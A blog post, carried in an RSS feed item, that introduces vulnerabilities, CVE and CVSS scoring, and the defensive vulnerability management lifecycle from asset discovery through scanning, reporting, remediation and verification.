A vulnerability is a security flaw or weakness that allows an intruder to reduce a system’s information assurance. In simple terms, a vulnerability is a misconfiguration or weakness in the software or service, which can be ex...]]></description><link>https://blog.santoshachary.in/vulnerability-management</link><guid isPermaLink="true">https://blog.santoshachary.in/vulnerability-management</guid><category><![CDATA[hacking]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[CyberSec]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[management]]></category><dc:creator><![CDATA[Santosh Achary]]></dc:creator><pubDate>Sat, 25 Feb 2023 09:47:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/3TU34jaW88k/upload/d96ee8efc5e292766076396ccfcd838a.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-what-is-a-vulnerability">What is a vulnerability?</h2>
<p>A vulnerability is a security flaw or weakness that allows an intruder to reduce a system’s information assurance. In simple terms, a vulnerability is a misconfiguration or weakness in the software or service, which can be exploited by a threat actor to get unauthorized access to the system.</p>
<p>A vulnerability requires three elements:</p>
<ul>
<li><p>System weakness</p>
</li>
<li><p>Intruder’s access to the weakness</p>
</li>
<li><p>Intruder’s ability to exploit the weakness using a tool or technique.</p>
</li>
</ul>
<p>For example,</p>
<ul>
<li><p>Unnecessary ports open to the internet</p>
</li>
<li><p>Insecure operating system configurations</p>
</li>
<li><p>Outdated or unsupported third-party software which may lead to multiple vulnerabilities, etc.</p>
</li>
</ul>
<p>Note: According to various organizations and vendors, There are multiple definitions of <strong>vulnerability</strong> and all of them talk about weakness in a software/service/system.</p>
<p>Multiple new vulnerabilities are getting discovered by security researchers every day on various software and operating systems. So one might think about who keeps track of these vulnerabilities and if any standards are being followed to track these vulnerabilities. To answer that we have to discuss CVE - Common vulnerabilities and exposures.</p>
<h3 id="heading-cve-and-cvss">CVE and CVSS</h3>
<p>A CVE(Common vulnerabilities and exposures) is an open data registry of publicly known cybersecurity vulnerabilities. Each vulnerability in the CVE list has a CVE ID or we can say various vulnerabilities are being identified using CVE IDs. CVE IDs are assigned by the CVE numbering authority(CNAs). We can find all the CVEs in the NVD - National vulnerability database, which comes under NIST - national institute of standards and technology. CVE program is primarily operated by The MITRE Corporation, which is the primary CNA. Under MITRE there are multiple sub-CNAs. When a security researcher(s) finds a vulnerability in an application/service, then it can be requested for CVE. The below image illustrates how the CVE report process works.</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/vm/CVERecordLifeyclnfographic.jpg" alt="CVERecordLifeyclnfographic" /></p>
<p>Image Credit: <a target="_blank" href="http://CVE.ORG">CVE.ORG</a></p>
<blockquote>
<p>Apart from the National Vulnerability Database (NVD) Many public sources of vulnerability definitions exist, such as Microsoft’s security updates and are freely available. Additionally, several vendors offer access to private vulnerability databases via paid subscriptions.</p>
</blockquote>
<p>Using this process thousands of CVEs are released every year. However all the vulnerabilities are not the same, they come with various criteria. Let's say we have 2 vulnerabilities on our system and out of which one is complex and another is easy to exploit. In that case, one should always focus on the latter one as there is a bigger chance that a threat actor will try to exploit it. To prioritize the remediation of vulnerabilities a scoring system is being used, which is called CVSS - A common vulnerability scoring system. Various other vendors use their scoring system, however, CVSS is a popularly used vulnerability scoring system.</p>
<p>As per <a target="_blank" href="http://First.org">First.org</a>, The Common Vulnerability Scoring System (CVSS) provides a way to capture the principal characteristics of a vulnerability and produce a numerical score reflecting its severity.</p>
<p>The numerical score can then be translated into a qualitative representation (such as low, medium, high, and critical) to help organizations properly assess and prioritize their vulnerability management processes.</p>
<p>Using various metrics CVSS is being calculated such as attack complexity, impact, privilege required, etc. In fact, there are 3 versions of CVSS and those are v1, v2, v3, and v3.1. Over the year CVSS scoring system has improved and multiple new criteria being added to the scoring system to make it more efficient and reliable.</p>
<p>All the details related to the CVSS scoring system can be found <a target="_blank" href="https://www.first.org/cvss/specification-document">here</a>. Sometimes it is really important and useful to understand the CVSS vector, CVSS metrics, and scores. One can use this <a target="_blank" href="https://www.first.org/cvss/calculator/3.1">calculator</a> to calculate the CVSS score of a vulnerability.</p>
<p><strong>CVSS metrics:</strong> There are various metrics, which is used to calculate the CVSS score or we can say which help to prioritize the remediation. CVSS is composed of three metric groups: Base, Temporal, and Environmental, each consisting of a set of metrics.</p>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/vm/MetricGroups.svg" alt="Metrics" /></p>
<p>Image Credit: <a target="_blank" href="http://first.org">first.org</a></p>
<p><strong>CVSS vector:</strong> A CVSS vector is a syntactical representation of various metrics using which the score can be calculated. For example <code>CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N</code></p>
<pre><code class="lang-plaintext">AV - Attack Vector (AV) : N - Network
AC - Attack Complexity (AC) : L - Low
PR - Privileges Required (PR) : H - High
UI - User Interaction (UI) : N - None
S - Scope : U - Unchanged
C - Confidentiality : L - Low
I - Intigrity : L - Low
A - Availability : N - None
</code></pre>
<p><strong>CVSS Score:</strong> As we saw multiple CVSS metric groups are there, so we must have multiple CVSS scores per group. These scores are calculated using certain formulae. Which can be referred from <a target="_blank" href="https://www.first.org/cvss/specification-document">here</a>.</p>
<blockquote>
<p>A zero-day vulnerability is a vulnerability in a system or device that has been disclosed but is not yet patched. An exploit that attacks a zero-day vulnerability is called a zero-day exploit.</p>
</blockquote>
<p>Now we understand what is vulnerabilities, CVE and CVSS. It is there to help security engineers and organizations to prioritize the remediation of vulnerabilities and stay safe over the internet or within the organization. When it comes to an asset, it can be a company-provided smartphone, an end-user computer, a highly sophisticated server, or a database containing public to anything very sensitive to the organization or a network device like a switch or router.</p>
<p>If an attacker finds any vulnerability and can exploit it then it is not so far for the attacker to get network-wide access using other vulnerabilities present over the network.</p>
<p>There can be thousands of assets in a computer and planning to fix or remediate these vulnerabilities sometimes becomes difficult and that's where we need <strong>vulnerability management</strong>.</p>
<h2 id="heading-what-is-vulnerability-management">What is vulnerability management?</h2>
<p>Vulnerability management is the process of identifying, evaluating, treating, and reporting security vulnerabilities in systems and the software that runs on them.</p>
<p>Various vulnerability management software is being used to perform this process. Vulnerability management software uses vulnerability scanners or endpoint agents to find the software vulnerabilities on the servers/devices present in the network. Some famous vendors which provide vulnerability management solutions are Qualys, Tenable, Rapid7, etc.</p>
<p>An organization can have a separate vulnerability management team under the cybersecurity domain or the Security operation centre can take this responsibility. There's a vulnerability management lifecycle that is being followed by the organizations and the cycle includes the below steps.</p>
<ol>
<li><p>Discover</p>
</li>
<li><p>Prioritize assets</p>
</li>
<li><p>Assess</p>
</li>
<li><p>Report</p>
</li>
<li><p>Remediate</p>
</li>
<li><p>Verify</p>
</li>
</ol>
<p><img src="https://github.com/asantoshka/asantoshka-test/raw/master/assets/img/vm/vmcycle.png" alt="life cycle" /></p>
<p>Image Credit: <a target="_blank" href="https://www.s21sec.com/vulnerability-management-services/">s21sec</a></p>
<h2 id="heading-1-discover">1. Discover</h2>
<p>There can be lots of assets in a network. As discussed earlier, it can be anything connected to the network such as Mobiles, CC TV cameras, servers, IoT devices, End-user computers, networking devices like switches, routers, load balancers, etc. It is always not possible for an organization to keep track of all the assets present in the network. CMDB is being used to keep track of assets to some extent, but there is a bigger chance of an asset being missed out from CMDB due to a lack of process or coordination between multiple teams. So a vulnerability management team needs to discover all the assets present in the network, as one vulnerable host in the network can lead to a complete network takeover or a big cyber attack.</p>
<p>The team can collect the data from CMDB, can refer to the architecture documents, or take help from the network team to get the details of the subnets being used in the organization. Then with the help of a Vulnerability scanner, a discovery scan can be run. What is a discovery scan? The discovery scan is being performed on a network to identify hosts that are currently active and connected to the Internet.</p>
<p>When we use a vulnerability management tool like Qualys or Nessus or Nexpose, once we run a discovery scan the active and connected hosts will be added to the assets database with some basic information.</p>
<h2 id="heading-2-prioritize-assets">2. Prioritize assets</h2>
<p>Once the assets are discovered, those assets need to be prioritized. To make it efficient, running a vulnerability scan on all the hosts and working on remediation may not be helpful as this process is time-consuming. The way vulnerabilities are getting exploited, it is really easy to become a target of a threat attacker. Let's say we have 10 servers in an organization out of which, 5 are hosted for only employees and it is not serving the internet though it is connected to the internet and the other 5 servers are hosting company websites on the internet. It is easy to guess that the latter ones are the target of threat actors and we need to put more priority on those assets.</p>
<p>There can be various mission-critical and business-critical assets in the network. One needs to set the priority as per the organization's requirements. Initially, a set of rules need to be defined to prioritize the assets.</p>
<p>From the above, we can say that assets can be prioritized depending upon 2 characteristics,</p>
<ol>
<li><p>Asset exposure</p>
</li>
<li><p>Potential impact/criticality</p>
</li>
</ol>
<h2 id="heading-3-assess">3. Assess</h2>
<p>The next step in vulnerability management is asses or we can say vulnerability assessment. This includes 2 steps and they are,</p>
<ol>
<li><p>Scanning the assets to find the vulnerabilities</p>
</li>
<li><p>Prioritize or set criticality of the vulnerabilities as per the environment and their severity</p>
</li>
</ol>
<h3 id="heading-scanning-the-assets">Scanning the assets</h3>
<p>The assets can be scanned using a vulnerability scanner. A vulnerability scanner tries to reach the target asset over various network ports(TCP/UDP), collects system information, and using that concludes which vulnerabilities are existing on the asset.</p>
<p>For example, a server is running Apache Tomcat 7. x &lt; 7.0.104. When the vulnerability scanner will try to access the webserver it will get to know it from headers about the tomcat version. When it will look for its vulnerability database it will find that the asset is vulnerable to CVE-2020-9484.</p>
<p>However the above can be an example of an unauthenticated scan. There are 2 types of scans</p>
<ol>
<li><p><strong>Authenticated:</strong> The vulnerability scanner will have access to the credentials to log in to the assets. For example, the asset will access a windows OS using port 445 SMB to log in and for a Unix or Linux host, it will access using port 22 SSH. After that, the host will be detailed system information and configuration details such as all patches applied to the system, etc.</p>
</li>
<li><p><strong>Unauthenticated:</strong> The scanner will have limited access to the system. As the name suggests, there won't be any authentication. The scanner will try to scan all the ports and using that result it lists out the vulnerabilities.</p>
<p> There's a bigger chance of false positives when it comes to Unauthenticated scans. But in the case of the authenticated scan, there is a lesser chance of false positives.</p>
</li>
</ol>
<blockquote>
<p><strong>Agents:</strong> To get more clarity and live updates about the vulnerabilities of an asset, an agent is client software installed on the asset. Which will collect the data and will send it to the vulnerability management server. By default, the agent-based scans are authenticated.</p>
</blockquote>
<h3 id="heading-prioritize-the-vulnerabilities">Prioritize the vulnerabilities</h3>
<p>Once the scanner has scanned the hosts, vulnerabilities need to be prioritized. To help you better decide which vulnerabilities should be fixed first, there are 4 severity levels and the severity is decided using the CVSS score. According to version CVSS 3.0,</p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Severity</td><td>Score</td></tr>
</thead>
<tbody>
<tr>
<td>Critical</td><td>9.0 - 10.0</td></tr>
<tr>
<td>High</td><td>7.0 - 8.9</td></tr>
<tr>
<td>Medium</td><td>4.0 - 6.9</td></tr>
<tr>
<td>Low</td><td>0.1 - 3.9</td></tr>
</tbody>
</table>
</div><p>The various metric groups and CVSS scores discussed earlier are being used in this phase to prioritize the vulnerabilities.</p>
<h2 id="heading-4-report">4. Report</h2>
<p>Once the vulnerability management team has all the vulnerability data and they are prioritized depending on the criticality and impact. Those vulnerabilities are reported to various teams.</p>
<p>There can be various types of reporting depending on the requirements. For example. when we want to provide a report to asset owners or support teams to remediate the vulnerabilities, we would like to provide the report with more technical information such as how the vulnerability can be remediated and which file or configuration, or output is responsible for the vulnerability.</p>
<p>But if we want to provide a report to the Leadership or Executives of an organization we may want to provide a much higher level of information like how many vulnerabilities we have, the Top 10 vulnerable assets or Top 10 vulnerabilities affecting our environment, or What is the progress of vulnerability remediation over some time.</p>
<h2 id="heading-5-remediate">5. Remediate</h2>
<p>In this step, the vulnerabilities are remediated by the asset owners by applying required patches or performing configuration changes on the asset.</p>
<p>It is always expected that the higher-severity vulnerabilities are remediated first. Also one should consider the aged vulnerabilities present in the environment.</p>
<p>Some vulnerability remediation requires an outage of a service or a reboot of the server. But it is not always possible to take a mission or business-critical server down for a long period during a certain period of the year. So for that reason, exceptions should be allowed in some special cases and those vulnerabilities should be remediated as soon as possible.</p>
<p>One should always consider that, an older vulnerability becomes easier for an attacker to exploit because of the availability of proof of concepts, new tools, and exploiting methods. So delaying the remediation of critical vulnerabilities may lead to major problems.</p>
<h2 id="heading-6-verify">6. Verify</h2>
<p>Once the remediation is done the vulnerability management team needs to run the scan and verify if the vulnerability is fixed or not. If not then the required teams need to be communicated and a proper fix should be applied.</p>
<p>Once the verification is done optional reporting can be done to executives of the organization.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>With the completion of the last step the vulnerability management team needs to get started with step 1 i.e. Discovery and this continues as a cyclic process due to the discovery of new CVEs every day.</p>
<h2 id="heading-references">References</h2>
<ol>
<li><p><a target="_blank" href="https://www.rapid7.com/fundamentals/vulnerability-management-and-scanning/#:~:text=Vulnerability%20management%20is%20the%20process,minimizing%20their%20%22attack%20surface.%22">https://www.rapid7.com/fundamentals/vulnerability-management-and-scanning/#:~:text=Vulnerability%20management%20is%20the%20process,minimizing%20their%20%22attack%20surface.%22</a></p>
</li>
<li><p><a target="_blank" href="https://cybersecurity.att.com/blogs/security-essentials/vulnerability-management-explained">https://cybersecurity.att.com/blogs/security-essentials/vulnerability-management-explained</a></p>
</li>
<li><p><a target="_blank" href="https://www.crowdstrike.com/cybersecurity-101/vulnerability-management/">https://www.crowdstrike.com/cybersecurity-101/vulnerability-management/</a></p>
</li>
<li><p><a target="_blank" href="https://www.exabeam.com/information-security/vulnerability-management/">https://www.exabeam.com/information-security/vulnerability-management/</a></p>
</li>
<li><p><a target="_blank" href="https://www.servicenow.com/products/security-operations/what-is-vulnerability-management.html">https://www.servicenow.com/products/security-operations/what-is-vulnerability-management.html</a></p>
</li>
<li><p><a target="_blank" href="https://www.cdc.gov/cancer/npcr/tools/security/vmlc.htm">https://www.cdc.gov/cancer/npcr/tools/security/vmlc.htm</a></p>
</li>
<li><p><a target="_blank" href="https://www.cisa.gov/sites/default/files/publications/CRR_Resource_Guide-VM_0.pdf">https://www.cisa.gov/sites/default/files/publications/CRR_Resource_Guide-VM_0.pdf</a></p>
</li>
<li><p><a target="_blank" href="https://www.first.org/cvss/specification-document">https://www.first.org/cvss/specification-document</a></p>
</li>
<li><p><a target="_blank" href="https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures">https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures</a></p>
</li>
<li><p><a target="_blank" href="https://www.cve.org/About/Process">https://www.cve.org/About/Process</a></p>
</li>
<li><p><a target="_blank" href="https://www.advantio.com/blog/vulnerability-management-assess-prioritize">https://www.advantio.com/blog/vulnerability-management-assess-prioritize</a></p>
</li>
</ol>
]]></content:encoded></item></channel></rss>